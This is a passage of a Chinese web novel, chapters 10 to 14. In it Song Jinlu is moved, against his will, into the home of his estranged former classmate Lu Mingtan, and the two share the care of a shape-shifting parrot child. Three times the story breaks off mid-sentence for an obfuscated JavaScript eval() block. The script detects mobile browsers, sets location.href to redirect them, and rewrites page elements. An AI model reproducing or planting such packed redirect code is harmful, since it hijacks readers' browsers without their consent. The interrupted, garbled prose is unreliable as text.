岑雪云跟宋经康又对视了一眼。 两人没有说话,但眼神出卖一切。 宋锦路:。。。 宋锦路忙道:“放心,不是,你们想的半点都不是!我绝对没做任何伤天害理的事!” 宋经康道:“既然都不是,那你怎么开不了口?” “……因为,因为情况很复杂,等手术结束了,我一定原原本本告诉你们,好吗?” 父母明显不太情愿,可宋锦路咬死了不肯交代,他们也没别的办法。 就这么待到中午,宋锦路带父母出去吃了午餐,又陪着做了两个检查,等岑雪云开始嫌他杵着碍事了才回去。 这时宋锦路也很累了。 那么早就起床,忙忙碌碌到现在,精神全程紧绷着,就没放松的时候。 可算能放松一会儿了,他决定回去后先补个觉。 手机里没有陆明檀发来的消息,宋锦路也犹豫过要不要删掉他的微信好友,但最后还是忍住了。 删掉就成真抛弃孩子了。 宋锦路只是觉得陆明檀也该承担一半照顾孩子的责任罢了,之后他还是愿意跟陆明檀轮流照顾孩子的。 总之先回去睡觉吧。 其他事情等睡醒了再说。 回到小区单元楼下,同幢的也有人搬家,货车停在边上,大大小小的纸箱堵在门口。 宋锦路等了一会儿才进去,心想还挺巧,住进来后没见这幢的有谁搬家,结果他要搬的时候就有人搬了。 直到电梯在他那层停下,踏出电梯后,宋锦路彻底傻眼。 自己住的那套房子门户大开,陌生的搬家人员进进出出,还在不断搬运着纸箱。 宋锦路不敢置信。 第一反应是房东背后阴他,趁他不在就立刻将他扫地出门。 怒火登时直冲脑门。 整个人都不困不累了,宋锦路一捋袖子,大步猛往前冲,做好了要跟房东近战决斗的准备。 但一脚踏进房门,看到里面站着的竟是陆明檀跟小鹦鹉时,宋锦路原地僵硬石化,大脑宕机。 “……陆、陆明檀?!” 陆明檀扭头看到他,波澜不惊:“你回来了。” 小鹦鹉则坐在他肩膀上,下巴抵着陆明檀头顶,见到宋锦路回来,立刻高兴地伸手喊道:“爸爸!” 宋锦路瞪大双眼:“……这是怎么回事?!你们怎么会在这里?!” 陆明檀淡定自若:“帮你搬家啊。” “…………” “房东刚走,你的东西都已经整理好了,放心,这家公司很专业。” “…………” “抱歉,擅自做主了。” 虽然陆明檀脸上并未见什么歉意。 “但提前告诉你的话,你肯定不愿接受我的好意。” “…………” “不过现在都处理好了,这也当作我给你的补偿吧。” “…………” 一口憋屈的浊气堵在宋锦路胸膛,上不来也下不去。 是他大意了。 陆明檀不知道他住几楼哪间房,但小鹦鹉知道啊!小鹦鹉连门锁密码都知道! 现在好了。 这对父子狼狈为奸,他成引狼入室了! 11.第 11 章 人间或许真有现世报。 宋锦路陷入绝望。 他还没从算计陆明檀跟小鹦鹉的愧疚中完全脱离,报应就尾随而来,让他搬起石头砸自己的脚,砸完还不能叫,有苦说不出。 谁承想呢。 本来是想将孩子扔给陆明檀,自己遁地逃走的……结果现在所有家当都被打包送去陆明檀那里不说,自己还逃不掉了?! 宋锦路原地呆愣半晌,欲言又止,止又欲言,气得想跺脚,恨不得再啪啪抽自己两耳光。 他费尽心机编造那些话术的意义究竟何在! 遇上陆明檀这种性格的王八蛋,倒霉的竟又是他自己! 无奈再气也没用,气来气去,宋锦路也只窝囊地说一句:“……事先不说就算了,那你后来也该跟我说一声啊,怎么可以背着我把我的东西都搬空了!” 陆明檀眼眸微闪,宋锦路怀疑他是在编造借口,但宋锦路没证据。 陆明檀说:“我是准备说的,因为我不知道哪些东西不能带走。可正好遇上房东过来,他一听我是来搬家的,就非常高兴热心地主动帮忙,忙起来我就忘了。” “…………” 仅凭三言两语,宋锦路就能想象到房东的模样。 呵呵。 能不高兴热情吗。 他简直从心底散发出一股无助的力竭感。 如果就这么不计较了,未免太便宜陆明檀。 可要计较的话,又要计较什么呢,自己的东西都被搬空了。 与此同时,房东也发了几条消息过来,宋锦路点开一看,是些感谢他配合搬家的场面话,以及生怕宋锦路反悔似的,非常爽快地将金钱补偿直接转给他。 罪魁祸首陆明檀还说:“该带走的东西应该都整好了,你再检查看看有没有落下的。” “……” “要是没有的话,我们就回家吧。” “………………” 听陆明檀说出回家两字,宋锦路感受就跟看恐怖片一样,阵阵毛骨悚然。 但事已至此,他还能怎么样呢? 东西已经搬空了,房东连补偿都给他了。 宋锦路悔不当初,只好装什么都没听到,就这么硬着头皮,走一步算一步了。 现实就是如此可笑荒谬。 上午宋锦路还想着天崩地裂都不可能跟陆明檀住到一起,结果下午就打包全部家当搬了过来。 还好陆明檀找的搬家公司不错,东西按照原来的摆放顺序一一打包,纸箱外面写清了里面放的东西,找起来一目了然。 不过宋锦路也没什么大件行李,除了被子衣服,就是工作用的电脑设备。 宋锦路忙着先整理工作设备,毕竟那是他吃饭赚钱的工具,没想到他刚整完,陆明檀又擅自做主为他选好了卧室。 也在二楼。 还就是陆明檀隔壁的房间。 宋锦路大惊失色:“……你不是说三楼也有房间吗?” 陆明檀解释:“三楼房间晒不到阳光,也不常去,里面有股怪味,需要时间散散风。先在二楼住几个晚上吧,等之后再换就行。” 有据有理,令人难以反驳。 虽然宋锦路总觉得哪里不对,可事情到这步,难道还有对的地方吗? 他只能麻木的安慰自己,也是,总归是有阳光的房间更好些,否则和被关在阴暗的地下室有什么区别呢? 宋锦路搓了把脸,无声叹息,选择认命:“……好吧,那我要先工作了,剩下的东西慢慢再整理,你要介意我乱放的话只能先忍忍了。” 既然都搬来了,只好给陆明檀找点麻烦,让他后悔做出这项决定。 但陆明檀只是轻笑:“不介意,那我去补觉了,我带善善一起睡。” 那最好不过。 宋锦路进了小书房,将东西东摆摆西放放,终于适应全新的陌生环境后,可算能专心进入工作状态。 不管现实多少洪水滔天,只要活着,还有一口气在,人就要爬起来工作赚钱。 而且真开始工作后,宋锦路就觉得有人帮忙带孩子太舒服了。 以前吵闹心烦,安静也心烦。 小鹦鹉会发出各种叽叽咕咕的噪音就不说了,还有可能突然从哪个角落蹦出来踩键盘啄屏幕。 现在周围静悄悄的,还不用担心小鹦鹉是藏在外面拆家作妖搞破坏。 实在舒心。 终于能享受久违的独自安定了。 就该这样。 陆明檀理所当然分担这些责任。 铁屁股一坐又是几小时,直到宋锦路逐渐意识涣散,手指也开始乏力,看向窗外,天色已经全黑下来。 身体能量不足。 该吃饭了。 宋锦路先找了跑腿给父母送饭,然后准备给自己点份外卖。 不清楚这边的详细地址,宋锦路得先出去看看门牌号。 结果一出去,就看到陆明檀跟小家伙睡在客厅沙发上的场景。 外面没开灯,只有窗户照进来的月光跟路灯,以及宋锦路出来时亮起的昏暗廊灯。 环境称不上黑暗,至少什么都能看清,光线足以照明,就是不亮,昏昏沉沉,完全夜晚的氛围。 虽然很想给陆明檀找麻烦,但宋锦路不至于失去道德底线,看到他跟小家伙在睡觉,还是下意识减少动静,轻手轻脚地移动过去。 毕竟陆明檀前一晚在通宵工作,今天早上还又开会又给他搬家,到下午才睡。 好不容易逮住一个能照顾小家伙的苦力工,宋锦路可不希望他因睡眠不足猝死。 然而就在宋锦路要开门的那一瞬,陆明檀的声音竟如鬼魅般在身后响起:“你要去哪?” 低沉声线还带着刚睡醒后的沙哑,像是贴着宋锦路的后脑勺传来,他甚至能感受到一股若有似无的,温热的气息。 宋锦路登时大惊,浑身炸毛,猛地转身后退,后背地在门上。 最可怕的是,陆明檀真悄无声息地站到了他身后,跟他不过几个拳头的距离。 “……你是鬼吗?!”宋锦路心惊肉跳,“……你走路怎么没声音?!你刚刚不是还睡在那里吗?!” “你要去哪?” 昏暗光线下,陆明檀的语气都变得具有压迫感。 “……” 宋锦路按着胸口,没有好气:“……我要叫外卖!我总要看看门牌号吧!” 陆明檀“哦”了一声。 啪—— 再下一秒,陆明檀按下墙上的开关,屋内瞬间光明大亮。 随着光线清晰,陆明檀恢复如常,仿佛刚才的鬼魅压迫只是宋锦路的错觉。 “你出来我就醒了。”陆明檀摸了摸脸,“我的眼镜呢?” 宋锦路这才注意到他没戴眼镜,再多看一眼,蓦然有种梦回初中的恍惚感。 那时陆明檀就是没戴眼镜的。 陆明檀转身回去找眼镜,缓和了这几秒,宋锦路受惊的心跳也平缓下来。 “你想吃什么,我来做吧。”陆明檀说,“不用叫外卖,不健康。” 宋锦路看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238799|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼小家伙,还在沙发上一动不动地躺着,睡得不知天地为何物。 “算了,还是叫外卖吧,不用额外麻烦你了。” “等着外卖送到的时间,足够我做完了,也不麻烦,我一个人也是要做饭的。” “……” “你有什么想吃的吗?” 既然陆明檀这么说,那宋锦路真不客气了。 跟这家伙客气什么呢! 就应该狠狠折腾他,最好叫他后悔提议让自己搬过来啊! 宋锦路:“什么都行,有什么做什么吧,我不挑食。” 但从小形成的观念很难改变,该有的道德底线就是不能忘记,否则宋锦路良心难安。 并且在陆明檀进了厨房忙活后,宋锦路也做不到真只干等着吃饭,主动跟进去要帮忙。 “没什么要帮忙的,做饭很简单,我来就够了。” 但宋锦路做过饭,知道这不简单,所以陆明檀越这么说,他良心越难安。 这跟他此刻面对的是谁无关,跟对方是仇是友也无关,纯内心感受。 好比亲眼看到最讨厌的人出车祸,宋锦路再觉得这是报应,也很难真袖手旁观。 看到陆明檀拿出来的食材,宋锦路没管陆明檀怎么说,主动洗菜削皮去了。 虽然厨艺不怎样,但清洗食材这种小事手到擒来,以前在家他就经常帮着父母一起准备。 拿过土豆搓泥削皮,宋锦路问:“土豆准备怎么做?” “我想做炒土豆丝,善善能吃吗?” 宋锦路笑了:“能吃,他的话就放心吧,他什么都能吃。” 擦丝器就挂在墙上,宋锦路伸手拿下,利落地开始擦丝。 气氛安静了几秒,陆明檀突然说:“谢谢你。” 宋锦路淡淡道:“谢什么,我也要吃,应该的。” “你跟过去似乎没什么变化。” “……” “还是那么好。” “…………” 后背发麻。 宋锦路停下手上的动作,终于看向陆明檀:“这样吧,有些事情我们先说好。” “嗯?” “我们之间不是可以叙旧的关系,你多少有点自知之明行吗?以后非必要不准再提起过去,我们相处的前提就是没有过去,懂吗?” 陆明檀沉默了,也停下了手上的动作。 表情没有丝毫变化,只这么平静地注视着宋锦路,但宋锦路有种微妙的感觉,陆明檀似乎不愿认可这项要求。 宋锦路当然不会心软,继续说:“虽然从你的故事来看,一切好像情有可原……但谁不挑对自己有利的话讲呢?而且都过去这么多年了,除非你能拿出实质证据,否则我没有相信你的义务。” 有据有理。 虽然十分艰难。 也是因为都过去这么多年了,当时彼此年少,很多决定只是基于一念之间的想法转变,压根留不下证据。 “……所以你记住,我没有原谅你,也很难原谅你,现在能跟你在一个屋檐下相处,只是因为善善。等他的事情处理完,我就会立刻搬走,之后我们继续当一刀两断的陌生人。” 这下是真能从陆明檀脸上看出十分明显的不情不愿了。 可大概是想半天也没能找到反驳的切入点,抿了抿薄唇后,他还是选择答应:“好,一切都听你的。” “……嗯,那就这么说定了,我们只是暂时的队友,以后请注意这条边界感。” 陆明檀看着他:“好,我服从你的所有要求。” 12.第 12 章 服从。 好一个服从。 诡异到像是AI生成的回答文案。 宋锦路静静凝视陆明檀,深度怀疑自这家伙是在挑衅自己,无奈他没有证据。 最后只好自我安慰,算了算了,反正这家伙答应了,答应了就好,其他暂时都不重要。 晚餐四菜一汤,很常见的家常菜。 青椒炒土豆丝,番茄炒蛋,红烧小鸡腿,油焖大虾,再加一碗雪菜笋丝汤。 宋锦路却很感慨,很久没看到这么有“家”氛围的餐桌了。 自从独居后,他吃饭时见最多的餐具是一次性包装盒,虽然偶尔会自己下厨,但最多也就一两道菜,卖相不好还难吃。 没想到陆明檀这么擅长做菜,真是人不可貌相。 “好了,叫善善过来吃饭吧。” 宋锦路连忙回神,生怕被陆明檀看出什么,走出厨房:“善——” 刚开口吐出一个音,一道明黄色的小身影便飞窜而来:“善善来啦!” “……” 房子不大,音量能传出去,香味更能。 闻到香喷喷的食物气味,哪里还需要大人额外召唤,小家伙早就醒了,此刻自动寻路而来。 不过没有立刻往餐椅上爬,而是小跑到宋锦路身边,高举着他那双短短的小手臂,五指开花,原地蹦跳扑腾:“……爸爸,爸爸!” 先跟爸爸撒娇。 要抱抱。 低头看到小家伙粉色糯糯的小脸蛋,黑漆漆水润的双眸,奶声奶气讨抱的模样,宋锦路还是会心软,软到要融化。 这谁能抵抗啊。 真是叫人精神错乱。 因为要将小家伙扔给陆明檀时,宋锦路真下了放弃的狠心。 于是这种被萌到的时刻,良心也是真在遭受谴责。 伸手将小家伙抱起,宋锦路下意识把脸贴上去。 热乎乎软绵绵的小糯米团,趁还能贴的时候多贴贴。 “诶,爸爸抱爸爸抱。” 但小鹦鹉宝宝撒娇是小鹦鹉宝宝的事,宋锦路真要跟他大脸贴小脸就不行了,才蹭两下,小鹦鹉宝宝嘴角的笑意迅速消散,浅淡的眉头皱到一起,伸出手臂将宋锦路推开。 “不要啦,不要啦!善善吃饭!” 小小短短的手臂伸得笔直梆硬,是用尽了全身力道想将宋锦路推开。 臭小鸡。 竟然玩弄他的感情。 但还是很可爱。 “好好好,吃饭吃饭。” 搬家自然也将小家伙的二手餐椅搬来了,宋锦路将他放进去,为他盛好饭菜,再拿来他的儿童筷勺。 早上用正常筷子都能吃,换上长度更合适的儿童筷子后,效果堪比如虎添翼,小鹦鹉宝宝低头就是一个猛猛开吃。 “蛋蛋!喜欢,蛋蛋!” 番茄炒蛋最得小家伙欢心,汤汁拌匀了米饭,呼呼大口往嘴里送。 不管平时多淘气捣蛋,吃饭的时候永远最乖,画面也够赏心悦目,绝对是无数家长眼里的梦中情娃。 陆明檀观察了一会儿,随口问道:“善善喜欢吃鸡蛋?” 这不是什么禁忌话题,有关照顾小家伙的部分,陆明檀问了,宋锦路都愿意回答:“嗯……其实什么蛋他都喜欢,鸡蛋鸭蛋鹅蛋鹌鹑蛋,不过最喜欢的还是鸡蛋。” 宋锦路也是随口一说:“是不是还挺地狱的?” 毕竟小家伙自己就是从蛋里孵出来的。 陆明檀听懂了宋锦路的玩笑,回复也依旧震撼人心:“这很正常,他自己同样在其他大型鸟类的食谱上。” “…………” 宋锦路静默两秒,欲言又止。 他那句话是开玩笑,可陆明檀这句话就是写实的恐怖了。 尤其小鹦鹉宝宝也钟爱肉食,除了番茄炒蛋,第二喜欢的就是红烧小鸡腿。 一口一个,一秒脱骨,吃得香喷喷。 陆明檀:“你看,他也喜欢吃鸡肉。” “…………” 宋锦路无语了,他发誓再也不跟陆明檀说废话了。 吃好吃饱,小家伙心满意足下了餐桌,再休息半小时之后,被宋锦路抱去洗澡。 小鹦鹉宝宝吃饭积极,洗澡听话乖巧,不管淋浴还是泡澡,只要能玩水就会开心。 所以给他洗澡并不难,就是费点体力。 十几分钟后,小鹦鹉宝宝被裹在浴巾里,像块刚出炉的小蛋糕,热乎乎香哄哄地出来了。 平时到这步,小家伙再看会儿动画片就能去睡了,然后宋锦路也将迎来一天中只属于自己的时光,会开直播打会儿游戏。 但小家伙今天下午睡了很久,不确定入睡时间会不会推迟。 而且…… 从此多了个陆明檀,不知道小家伙会选择跟谁一起睡…… 照私心来论,宋锦路当然希望带孩子睡觉的重任能落在陆明檀肩上,必须让陆明檀也尝尝被折腾吵醒的滋味。 可小家伙要真选了陆明檀……宋锦路光想就有些难受,心里又会不平衡。 给小家伙套好睡衣,宋锦路装作不太在意的样子试探:“……好了,再看会儿动画片就能睡觉了,善善今晚就跟爹爹一起睡吧。” “不要!” 宋锦路话音刚落,小家伙斩钉截铁般的拒绝便如惊雷般响起。 宋锦路心头难以控制小窃喜,算是没白照顾这只臭小鸡,在自己跟陆明檀之间,果然还是跟自己更亲近些。 可再下一秒,臭小鸡又说:“一起!爸爸,宝宝,爹爹,宝宝,一起!” 宋锦路:“………………” 真是一刻都不能掉以轻心。 窃喜瞬间被惊悚冲灭,宋锦路惊得原地后退好几步,下意识看向陆明檀。 陆明檀也正看向他,四目相对,陆明檀说:“那只能睡我的房间了,你那间是单人床,会有点挤。” 宋锦路:“………………” 不是? 不是吧哥们??? 这是床大床小的问题吗? 哥们你要不要听听自己到底在说什么啊? 宋锦路差点心跳骤停。 会指望陆明檀能说点正常人话的他才是傻逼。 不过等等—— 这王八蛋是不是又在挑衅他? 当着孩子面,动手打架是不可能的,虽然宋锦路是真心想动手了,但捏捏拳头,暂且忍耐。 因为宋锦路清楚,小家伙的期望不可能实现。 就是本以为小家伙今天会晚些时间再睡,结果平时睡觉的时间一到,小家伙还是立刻恢复原形钻进蛋壳,演绎了一出当场秒睡。 宋锦路瞬间鼻孔出气,对着陆明檀道:“今晚善善就交给你了,我也要早点睡了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244611|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实际是回去房间开直播打游戏。 搬到这里的第一晚,对环境还很陌生,必须做点熟悉放松的事,帮助身体适应新环境。 “等等。”陆明檀叫住他。 宋锦路才站起来:“怎么了?你是有什么异议吗?” 孩子睡了,要是陆明檀再挑衅他,宋锦路绝对要动手了。 “不是,我没有异议。”陆明檀说,“就是想问问,善善晚上睡觉都这样吗?” “怎么样?” “变回小鸟的形态,一定睡进蛋壳里。”陆明檀问,“可以中途把他叫醒吗?” “放心,叫不醒的。”宋锦路说,“进蛋壳睡觉的时候,除非他自己醒来,否则再大动静都不会醒。” 宋锦路想了想:“我觉得这很像是他的一道出厂设定……也许白天维持人形需要耗费很大能量,所以晚上就必须回到蛋壳里恢复。” 清醒时那么能闹腾的小家伙,一到睡觉时间就立刻秒睡,并且一定要睡在蛋壳里面,谁看了不觉得古怪呢? “而且还可能是分段式恢复。”宋锦路说,“有时半夜会突然醒来,看上去精神抖擞的,要闹腾一会儿再回去睡。” 就像充电那样,冲到一定程度才能开机,但要继续冲下去才会满格。 “所以我现在拿起蛋壳的话,他不会醒是吗?” “嗯。” 陆明檀便伸手拿过小鹦鹉宝宝的蛋壳,用手掂了掂,还挺沉,大小重量都跟平板差不多。 蛋壳不是完整的,上面有个不大不小的缺口,小鹦鹉也得变回原形才能钻进去。 “我可以把手伸进去吗?善善会不会突然啄我?” 不怪陆明檀多虑,主要是他亲眼看到了小家伙原形的尖喙多可怕。 不管外貌多可爱软萌,这种体型的鹦鹉咬合力堪比老虎钳,开夏威夷果就跟嗑瓜子一样。 要真被狠狠啄上一口,别说会不会见血了,怕是动脉都要当场裂开。 “不会,都说了他不会醒,我之前也伸手进去摸过。”宋锦路说,“里面挺热的,跟暖手宝一样,而且蛋壳上面还有花纹。” “花纹?” “……嗯,不确定是什么纹路,我摸不出来,不过善善都能变成一个人了,蛋壳内部有点花纹也不是什么稀奇事吧?” “除了这个蛋壳,还有什么东西是善善自行带来的吗?” “没了。” 陆明檀静默几秒:“那我们也只能从这个蛋壳先下手了,也许里面的纹路就是在传递什么重要信息。” 很有道理。 也很有可能。 但宋锦路表情未变:“嗯……那你摸摸看,反正我是什么信息都没摸出来。” 陆明檀将手伸进小家伙的蛋壳,还没摸上内壁,就先触碰到了一团热乎乎的毛茸茸。 如宋锦路所说,确实像个暖手宝,还是柔软毛茸茸暖手宝。 绵软浓密的羽毛蹭过手背,就让人心底泛起一股微妙的治愈感。 宋锦路见陆明檀表情古怪变换,忍不住问:“……怎么样,你摸出什么了吗?” “摸到了善善的翅根。” “……” “羽毛很厚,但他翅根上的肉还挺结实。” “…………” 是让你摸蛋壳内壁的纹路啊! 不要突然开始玩鸟啊! 13.第 13 章 宋锦路没接话,不知道该怎么接,也懒得接,只等着陆明檀适合可止。 谁知陆明檀越摸越起劲。 “善善是虚胖。” “……” “他羽毛多,身上并没太多肉。” “……” “羽毛很柔软,很浓密。” “……” “体型结构跟鸡差不多。” “你到底要不要摸蛋壳纹路?” 直到忍无可忍,宋锦路发出质问,陆明檀又狡辩:“我有必要将善善摸清楚,或许他身上也有信息。” “再顶嘴?” 陆明檀适可而止了,没再顶嘴,终于将手伸向了蛋壳内部。 宋锦路等了一会儿:“怎么样,有摸到纹路吗?” “嗯,是有纹路,一个个凸起来的小点,你摸的时候是这样吗?” “是这样。”宋锦路问,“你能摸出是个什么图案吗?” 陆明檀沉思:“好像是两条有点弯曲弧度的线?” “……两条线?让我摸摸?” 宋锦路立刻蹲到陆明檀身边,等陆明檀将手拿出来后,马上伸进去摸索。 “好奇怪……虽然上次我是没摸出什么所以然,但纹路不一样了。” 宋锦路说:“上次我感觉是好几条线,真的,起码有三条。” 说着说着扭头看向陆明檀,结果超近距离撞进陆明檀直勾勾的眼眸,赶紧往边上挪了两步。 避嫌。 保持仇人型队友该有的社交距离。 但陆明檀的视线不避不让,仍直勾勾地望着宋锦路,仿佛这样再正常不过,是介意的宋锦路心里有鬼。 宋锦路只能绷直上身,假装自己不介意没受影响:“……真的,我确定图案不一样了。” “嗯。”陆明檀应道,“我相信你。” “……” “就算你记错了,这点也值得我们观察,如果纹路形成的图案真产生变化,很有可能就是重要信息。” 一秒诡异,一秒正经。 陆明檀切换自如,又严肃认真地说下去:“我指着蛋壳纹路的位置形状来描述,你来录视频,记忆可能会模糊,有视频更方便之后进行对比。” 不得不承认,这是个聪明的好主意。 宋锦路咬牙切齿不甘承认,自我挣扎十几秒后:“……好。” 就是原本还想晚上开直播打游戏放松一下,没想到录视频成了个大工程。 之前宋锦路只囫囵吞枣地摸了摸,摸不出是什么就没太往心里去。 这次跟陆明檀一起认真摸了个遍,震惊地发现纹路几乎布满大半个蛋壳。 一边摸一边描述,还在外壳用笔做了记号,但因为纹路范围太大了,录完视频依旧不能确定是个什么。 另一方面,宋锦路哈欠连天,困得不行,大脑也停止思考,只想睡觉。 “差不多了,明天有空再研究,也不着急这一时了,你先去睡吧。” 宋锦路爽快应下:“好,那善善今晚就交给你了。” “嗯,交给我。” “……” 很想折腾陆明檀又不愿太昧良心,顿了顿后,宋锦路还是说:“……别怪我没提醒你,善善很可能半夜或凌晨醒来蹦迪,你得有这个心理准备。” “好,我有心理准备了。” “……” 宋锦路便起身先往二楼走,但又觉得别扭,陆明檀还在原处没动,他好像能感受到陆明檀强烈盯着他的视线,如芒在背。 走到楼梯口,手刚搭上扶手,宋锦路再忍不住,猛地一个大回头,果然看到陆明檀在盯着自己。 。 这谁能忍啊。 “……你盯着我做什么?!” 陆明檀却全然没有被抓包的尴尬,嘴角似乎还泛起一丝若隐若现的笑意。 但两人隔的有些距离了,这样的小细节宋锦路也不能很确定。 “这里就我们两个人,环境是静态的,只有你在动,视线自然会被动态事物吸引。” “……” “那你呢,回头是想跟我说什么吗?” 没想到还被陆明檀反将一军。 宋锦路能怎么说,总不能说自己感受到他强烈刺激的视线了吧,那成什么了? 所幸紧急关头,宋锦路想到一个极佳借口:“……我是想问问你,明天你是怎样的工作安排。” 借口也是实话。 因为宋锦路还要去医院。 虽然目前仍所未知陆明檀到底什么工作,但能跟他分担带娃任务就行。 宋锦路说:“明天我爸要动手术,我带善善过去肯定不方便……只能让你带着了,你方便请假吗?” 陆明檀道:“我可以在家办公,就是同事们可能要过来这边了,你介意吗?” 宋锦路眨眨眼:“……这是你家吧?” 怎么还问他介不介意了? “是我家没错,但现在我们生活在一起了,要让双方都舒服才好。” “……” 狗东西还挺会说话。 宋锦路也就很难再保持尖锐,缓和了语气:“……可以,我不介意。” “好。” “……嗯,那我去睡了。” “嗯,晚安。” “……” 不对。 真的很不对…… 怎么还道上晚安了? 难道他说的话也有问题? 怎么每次都能让陆明檀如此理所当然地接上这些? 很想呛陆明檀一句,说好的自知之明呢,能不能有点自觉,别总这么蹭鼻子上脸——但想到说多错多,万一又被钻进什么漏洞,宋锦路还是决定作罢。 不管陆明檀是不是还在盯着他了,宋锦路一口气回到房间,关门落锁,倒在床上躺平。 哎。 这一天真是跌宕起伏。 望着陌生的房间,适应着全新的环境,宋锦路还是不敢置信,自己不仅跟陆明檀重逢相见,还在当天就搬到了一起生活。 而多年来积压在心底的种种不甘怨念,在见到陆明檀本人后,实际发作的居然并不多。 曾经想象中恨不得将陆明檀大卸八块,五马分尸,可当陆明檀从仇恨的回忆中走到现实,宋锦路竟能平静地跟他对话交谈……还敢跟他住到一起。 哪怕宋锦路并不完全相信陆明檀给的解释,可不得不承认,时间终究愈合了很多创口。 所以就这样吧。 先走着,走一步算一步吧。 宋锦路没再打游戏,蒙头就睡。 本来还担心换了新地方会睡不着,但这一天实在太累,早上那么早就起床,又发生这么多事,身体早已超负荷运行。 闭上眼睛没一会儿,宋锦路直接失去意识,连梦都没做,一觉睡到第二天早上九点。 醒来神清气爽,就是有点懵,反应好一会儿后,才记起搬家的事,浑身酸痛地从床上起来。 他真跟陆明檀重逢,还跟陆明檀住到一起了…… 竟能让这两件事同时发生,他简直太厉害了…… 所以昨天脑子是被驴踢了吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252790|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>现实还敢再魔幻些吗? 但又必须承认,没有小家伙半夜蹦迪就是舒服,无梦无醒的整觉简直太爽了。 唯一不足是有点睡过头,宋经康早上十点的手术,他得赶紧去医院了。 赶紧洗漱换衣,三分钟后,宋锦路一身清爽地走出房间—— 接着下楼遇上陆明檀。 陆明檀穿着家居服,平静地跟他打招呼:“早。” 再度接受现实一秒。 覆水难收。 “……早。” 宋锦路浑身有点微妙的僵直,看了看周围:“善善呢?还没起床吗?” “嗯,他还在睡。” 哪里来的小鸟猪。 昨天下午睡了这么久,现在居然还没起。 宋锦路又问:“昨晚他睡得乖吗,后来有起来闹腾吗?” “睡得很乖。”陆明檀说,“一直睡到现在,中途并没有醒过。” “…………” 宋锦路破防了。 宋锦路直接原地大破防。 这是什么意思? 什么意思! 这只臭小鸡! 跟自己睡时总在半夜闹腾!动不动还要在他脸上来个滑铲! 怎么跟陆明檀睡时就变乖了?! 嗯?! 这合理吗! 宋锦路也没想到自己会如此破防,可现实就是如此,道心仅在瞬间破碎。 连陆明檀都看出了他的不对劲:“你怎么了?” 宋锦路又不能将丑陋的忮忌心展露出来,只能强颜欢笑:“没怎么啊……那不是挺好的吗,没闹腾就好……” “嗯,善善很乖。” “……” 够了。 不要再说了,宋锦路真要碎了。 “对了,你吃早饭吗?”陆明檀问,“你想吃什么,我给你做。” “……” 如果不是所处场景以及他们之间的关系不对,宋锦路都想夸一句贤惠了。 起床就有人准备早餐,这种好日子以前他想都不敢想。 但此刻只能拒绝:“……不了,我得出门了,来不及慢慢吃了。” “那等一下。” 陆明檀转身去了厨房,随后拿着一个面包出来。 “这个恰巴塔你拿着路上吃吧。” “这是你的早餐吧?”宋锦路没接,婉拒道,“没事,我路上随便买点就好。” “家里还有,我热一下很快的,你路上才不好买。” 陆明檀递到他手边:“不是着急出门吗,拿着吧。” “……” 面包特意用透明盒子装起来了,宋锦路只是手背碰到,就感到很热乎乎,而且仔细一看,面包胚中间还加了牛肉片跟鸡蛋馅。 显然是陆明檀刚做完的。 宋锦路并不想收,吃人嘴短,但浅思两秒后,又果断决定接受。 算了,跟陆明檀客气什么。 他就应该住陆明檀的,吃陆明檀的,让陆明檀后悔擅自给他搬家。 以前陆明檀是他的报应,现在轮到他来当陆明檀的报应了。 “……好吧,那多谢了,我走了。” “嗯,路上小心。”陆明檀说,“白天有空的话,可以发消息告诉我晚上想吃什么,我给你做。” “……” 陆明檀是在cos贤惠的妻子吗? 别说,还挺逼真。 又逼真又叫宋锦路毛骨悚然。 宋锦路含糊应了声知道后,赶紧走了,仿佛什么心虚的丈夫。 14.第 14 章 陆明檀家离医院更近了些,过去只几站的地铁,十分钟左右就到了。 父母对宋锦路的态度也逐渐变好。 虽然没恢复到以前那样的欢喜,但至少可以跟他好声好气地说话了。 宋经康已经做好术前准备,宋锦路到后没一会儿,就被推去了手术室。 宋锦路跟岑雪云在外面等待,也才有空吃陆明檀给自己的面包。 没出门时那么热乎了,但陆明檀的厨艺真没话说。 黑胡椒味的牛肉鲜嫩多汁,鸡蛋沙拉湿润奶香,宋锦路几口吃完,意犹未尽。 心头更是反复不敢置信,这么好吃的面包竟然真是陆明檀做的……还有昨天的晚餐以及早餐,就没一样不好吃的。 明明性格那么古怪又难以相处的家伙,看上去根本不像精通厨艺的模样,可偏偏厨艺就是这么好。 老天在给他点天赋值时是不是点错了? 宋锦路不知不觉走神,直到岑雪云开口询问:“……那孩子呢?你今天过来,孩子又叫别人看着了?” 